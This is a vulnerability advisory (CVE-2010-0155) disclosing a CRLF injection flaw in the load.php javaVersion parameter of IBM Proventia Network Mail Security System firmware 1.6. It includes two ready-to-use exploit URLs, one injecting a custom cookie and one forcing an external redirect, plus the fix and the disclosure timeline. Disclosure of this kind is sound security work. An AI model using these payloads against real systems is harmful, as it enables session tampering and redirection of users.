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MVSA-10-009 / CVE-2010-0155 - IBM Proventia Network Mail Security System - CRLF Injection vulnerability

Security Advisory:	MVSA-10-009 / CVE-2010-0155
Vendor: 		IBM 	
Products: 		Proventia Network Mail Security System
Vulnerabilities: 	CRLF Injection
Risk: 			Medium	
Attack Vector: 		From Remote 	
Authentication:		Required
Reference:		http://www.ventuneac.net/security-advisories/MVSA-10-009

Web-based Local Management Interface (LMI) of IBM Proventia Network Mail Security System appliance (firmware 1.6) is vulnerable to a CRLF Injection vulnerability. When exploited by an authenticated attacker, such vulnerability could lead to compromising the security of the appliance, allowing injection of custom HTTP cookies, forcing external redirects, potential HTTP Response Splitting attacks, etc.

The affected resource is not part of the IBM PNMSS firmware 2.5.

By manipulating the javaVersion parameter of load.php resource, an authenticated attacker can perform the attacks above.

The following exploit allows injecting custom cookies used by the client browser during a valid HTTP session:

	url_placeholder/load.php?browVerOK=true&browVerPerfect=false&javaVersion=any%0D%0ASet-cookie:	%20MyOwnCookie=SOME_DATA_HERE&javaVendor=Sun%20Microsystems	%20Inc.&javaEnabled=true&welcome=true&detectionFlag=1&popupBlocked=no

The following exploit allows forcing external browser redirects:

	url_placeholder/load.php?browVerOK=true&browVerPerfect=false&javaVersion=any%0D%0ALocation:	%20http://www.google.com%0D%0A&javaVendor=Sun%20Microsystems	%20Inc.&javaEnabled=true&welcome=true&detectionFlag=1&popupBlocked=no

Affected Versions

IBM Proventia Network Mail Security System - virtual appliance (firmware 1.6)

Vendor recommends upgrading to PNMSS firmware 2.5 or later.
Alternatively, please contact IBM for technical support. 

Disclosure Timeline

2009, November 07: Vulnerabilities discovered and documented
2009, November 08: Notification sent to IBM
2009, November 09: IBM acknowledges receiving the report
2010, September 12: MVSA-10-009 advisory published.


Dr. Marian Ventuneac